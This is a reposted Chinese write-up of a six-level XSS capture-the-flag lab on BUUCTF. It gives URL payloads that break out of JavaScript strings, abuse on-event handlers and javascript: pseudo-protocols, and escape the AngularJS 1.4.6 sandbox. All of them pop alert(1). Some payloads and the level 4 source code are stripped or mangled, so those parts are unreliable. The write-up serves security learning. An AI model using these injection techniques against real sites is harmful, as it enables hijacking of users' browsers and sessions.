本文共 3075 字,大约阅读时间需要 10 分钟。
XSS的魔力
声明
好好向大佬们学习!!!
攻击
XSS的魔力
这简直就是一场javascript的代码审计心酸历程
摘自
https://book.nu1l.com/tasks/#/https://blog.csdn.net/hxhxhxhxx/article/details/112784856https://blog.csdn.net/rfrder/article/details/108930033
使用BUUCTF在线环境
https://buuoj.cn/challenges
都是用谷歌浏览器访问
http://75348824-4a49-4f22-a868-81f174e5d13b.node3.buuoj.cn
1关
点击按钮“点我开始”
http://75348824-4a49-4f22-a868-81f174e5d13b.node3.buuoj.cn/level1?username=xss
经观察,修改URL中username参数值,改成多少,页面就会进行回显,并且直接拼接到welcome后面,那么就可以直接构造标签了,最简单的,反手一个script标签
http://75348824-4a49-4f22-a868-81f174e5d13b.node3.buuoj.cn/level1?username=
2关
依旧是回显
http://75348824-4a49-4f22-a868-81f174e5d13b.node3.buuoj.cn/level2?username=xss
输入script标签,发现被转码了,右键查看源码
发现当我们URL中username的值为111时,就会拼接到代码第五行构成
var username = '111';
也就是说代码第五行是动态改变的,为
var username = '我们输入的东东';
这个就和SQL注入的思想太像了,可以参考SQL注入的堆叠注入,闭合前面的单引号,注释后面的单引号,然后再把我们的js代码插入进去,不就自动就在这个script标签中执行了
如果我们输入
';alert(1);'
拼接前
var username = '我们输入的东东';
拼接后
var username = '';alert(1);'';
等价于
var username = '';alert(1);'';
自然就会执行alert(1)了
3关
http://75348824-4a49-4f22-a868-81f174e5d13b.node3.buuoj.cn/level3?username=xss
输入第二关的答案,发现’被转义成\'了
输入script标签发现神奇的事,自动给我加上了闭合的标签,但是却不能执行标签里面的代码
这时候想到了书中的一句话,几乎任何一个标签都可以执行on事件,改用别的标签+on事件试试
先输入一个a标签试试水,发现确实可以用
使用a标签+鼠标滑过事件
111
当鼠标滑过增加的这个a标签时,触发alert
4关
每过十秒就会重定向刷一次页面
http://75348824-4a49-4f22-a868-81f174e5d13b.node3.buuoj.cn/level4
这个连参数什么的都没给,只能右键查看源码了
主要看script标签中的,我个人对js代码也不是完全熟悉,就是靠大概意思理解
//这里细说,这个循环虽然很简单,但是逻辑不是只言片语就能说清楚的,所以我们采取变量跟踪的方式//假设构造jumpUrl=,那么variable=jumpUrl=//query为:username=xss&jumpUrl=//vars为 vars[0]: username=xss, vars[1]: jumpUrl=}//开始进入for循环,i=0,vars.length为2,ialert(1)fanh,variable=jumpUrl//pair[0] == variable成立,执行return,将 返回,这个函数的结果为 //到上面后innerHTML就拼上了这么一段//所以要强让这个函数不返回false,就必须在for循环中return,这就要求我们传过来的url中,必须带着jumpUrl参数function getQueryVariable(variable=jumpUrl=){ var query = window.location.search.substring(1); var vars = query.split("&"); for (var i=0;i
输入
http://75348824-4a49-4f22-a868-81f174e5d13b.node3.buuoj.cn/level4?username=xss&jumpUrl=
等待十秒后执行失败,因为代码中还有一段escape函数会进行特殊字符的转码,所以这里使用伪协议
http://75348824-4a49-4f22-a868-81f174e5d13b.node3.buuoj.cn/level4?username=xss&jumpUrl=javascript:alert(1)
等待十秒后,跳转,触发伪协议中的代码
5关
也是没有给什么参数,但是有个输入框,输入框输什么都没回显+失败
http://75348824-4a49-4f22-a868-81f174e5d13b.node3.buuoj.cn/level5
看源码吧
类比4关,这里相当于绕了个弯
输入
http://75348824-4a49-4f22-a868-81f174e5d13b.node3.buuoj.cn/level5?autosubmit=1&action=javascript:alert(1)
6关
这个就是比较难了,参考以下文章
https://nosec.org/home/detail/4153.htmlhttps://xz.aliyun.com/t/4638
访问
http://75348824-4a49-4f22-a868-81f174e5d13b.node3.buuoj.cn/level6?username=xss
返现和第一关的形式一样了,毕竟最后一关了,肯定是第一关的超级难绕过版,username中输入各种标签,都不行,这里是真的被当成字符串了,颜色都变了
打开Wappalyzer,来一波信息搜集,发现 AngularJS 1.4.6
查看该文章,发现Angular表达式,莫名有点像struts2的OGNL表达式,只不过是前端前端版的RCE
https://nosec.org/home/detail/4153.html
输入
http://75348824-4a49-4f22-a868-81f174e5d13b.node3.buuoj.cn/level6?username={ {2*3}}
查看该文章,发现Angular表达式终极利用代码
https://xz.aliyun.com/t/4638
输入
http://75348824-4a49-4f22-a868-81f174e5d13b.node3.buuoj.cn/level6?username={ {'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}
拿到flag
n1book{xss_is_so_interesting}
转载地址:https://blog.csdn.net/zy15667076526/article/details/114139496 如侵犯您的版权,请留言回复原文章的地址,我们会给您删除此文章,给您带来不便请您谅解!